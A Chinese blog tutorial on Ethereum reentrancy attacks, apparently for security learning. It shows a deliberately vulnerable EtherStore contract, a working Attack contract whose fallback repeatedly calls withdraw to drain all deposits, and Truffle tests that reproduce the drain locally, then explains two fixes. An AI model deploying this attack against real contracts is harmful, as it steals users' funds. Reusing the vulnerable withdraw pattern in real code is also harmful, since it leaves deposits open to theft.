残月的小站

重入攻击 Re-Entrancy

  以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时,以太坊的转账不仅仅局限于外部账户,合约账户同样可以拥有以太并进行转账等操作,且合约在接收以太的时候会触发 fallback 函数执行相应的逻辑,这是一种隐藏的外部调用。
  我们先给重入漏洞下个定义:可以认为合约中所有的外部调用都是不安全的,都有可能存在重入漏洞。例如:如果外部调用的目标是一个攻击者可以控制的恶意的合约,那么当被攻击的合约在调用恶意合约的时候攻击者可以执行恶意的逻辑然后再重新进入到被攻击合约的内部,通过这样的方式来发起一笔非预期的外部调用,从而影响被攻击合约正常的执行逻辑。

漏洞代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable { 
       balances[msg.sender] += msg.value;
    }
    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

问题分析

  合约EtherStore提供了depositwithdraw两个转入转出方法,还有一个查询合约账户的方法getBalance,在全局定义了一个balances mapping这个map用来记录每个用户账户转入到此合约的余额数(注意:这里balances只是作为记录,实际余额被转到合约账户中,可以理解为这里是个账本记录了每个人的余额类似虚拟账号,但是实际余额都放在一起,也就是都在合约账户中)

  正因为余额放在了一起,攻击者才能通过重入偷走所有人的余额。这里合约中withdraw先判断账户在balances中是否有余额,然后向msg.sender用户通过call进行转账,这里就是问题所在,在执行call的时候会触发fallback函数,如果攻击者在fallback方法中再次调用withdraw方法,这个时候在balances中的msg.sender余额并没有变动(合约在转账完成后才在第16行对balances中的msg.sender余额清零)所以require(bal > 0)并不会触发中断,并接着执行msg.sender.call进行转账并触发fallback函数无限循环,直到合约账户余额为空

攻击合约

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1);
        etherStore.deposit{value: 1}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

  攻击合约传入EtherStore地址,在fallback中调用etherStore里的withdraw()来达成触发fallback重复调用withdraw,在attack方法中需要先向etherStore存入 1余额(不然无法调用withdraw方法,etherStore balances中攻击者并没有余额会触发 require(bal > 0))。

攻击复现

执行步骤

{hide}

1、创建项目文件夹,并在文件夹中初始化truffle项目

truffle init

2、将EtherStore.sol合约导入
3、在migrations文件夹下创建合约迁移文件

const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");

module.exports = async function(deployer,network,account){
    await deployer.deploy(EtherStore);
    await deployer.deploy(Attack,EtherStore.address);
}

这里部署EtherStore需要将地址传给Attack合约,Attack初始化需要EtherStore合约地址

4、在test文件夹下编写测试代码

const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");

contract("Test EtherStore",async function(account){
    it("Attack EtherStroe", async function(){
        const ES = await EtherStore.deployed();
        // account1 和 account2 转入1余额
        await ES.deposit({value:1,from:account[0]})
        await ES.deposit({value:1,from:account[1]})
        console.log("当前合约账户有:",(await ES.getBalance()).toString());

        // 攻击者 部署合约
        const AT = await Attack.deployed();
        await AT.attack({value:1,from:account[2]});
        assert.equal((await ES.getBalance()).toString(),"0","Attack Failed");
        console.log("当前合约账户有:",(await ES.getBalance()).toString());
    })
})

这里写了个样例代码,步骤意思为:
  1)【1-2行】引入合约。
  2)【4-5行】创建测试合约组和单项测试用例。
  3)【 6 行】部署EtherStore合约。
  4)【8-9行】用户1、2EtherStore合约各转入 1 wei 余额。
  5)【10行】 打印当前合约余额。
  6)【13行】部署攻击合约。
  7)【14行】调用attack方法,需要指定用户和转入余额。
  8)【15行】判断EtherStore合约账户余额是否为空。
  9)【16行】输出合约账户余额。

5、运行truffle测试

truffle test

结果


可以看到代码原先合约账户有两个用户转入的余额2 wei,在攻击后合约账户的余额已被清零,代表攻击成功。这里去掉console输出改为assert

const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");

contract("Test EtherStore",async function(account){
  it("Attack EtherStroe", async function(){
    const ES = await EtherStore.deployed();
    // account1 和 account2 转入1余额
    await ES.deposit({value:1,from:account[0]});
    await ES.deposit({value:1,from:account[1]});
    let wei = (await ES.getBalance()).toString();
    assert.equal(wei,"2","User deposit to EtherStore Failed");

    // 攻击者 部署合约
    const AT = await Attack.deployed();
    await AT.attack({value:1,from:account[2]});
    assert.equal((await ES.getBalance()).toString(),"0","Attack Failed");
  })
})

漏洞修补

本文的合约可以将 balances[msg.sender] = 0; 改变位置到转账前,在没转账时就对余额进行清空 ,或者在合约中定义锁来防止重入攻击;

修补过程

方法一

1、修改合约中的balances[msg.sender] = 0; 改变位置到转账前。

2、执行测试

此时攻击将失效。

方法二

1、在合约全局变量添加锁变量,并在withdraw方法中添加锁状态变量判断。
  通过lock变量包裹执行区域,在锁状态未被重置时再次执行将会触发锁判断,而导致无法重发重入。


使用这两种方法都可以阻止重入,锁适用性更广。

项目文件

{abtn icon="fa-cloud-download" color="#2e7fff" href="https://blog.dfcraft.cn/usr/uploads/2023/12/396413215.tar" radius="5px" content="项目下载"/}

参考文章

{card-list}
{card-list-item}
智能合约安全审计入门篇 —— 重入漏洞 | 登链社区 | 区块链技术社区
{/card-list-item}
{card-list-item}
SWC-107 - Smart Contract Weakness Classification (SWC)
{/card-list-item}
{card-list-item}
Solidity by Example
{/card-list-item}
{/card-list}
{/hide}

当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »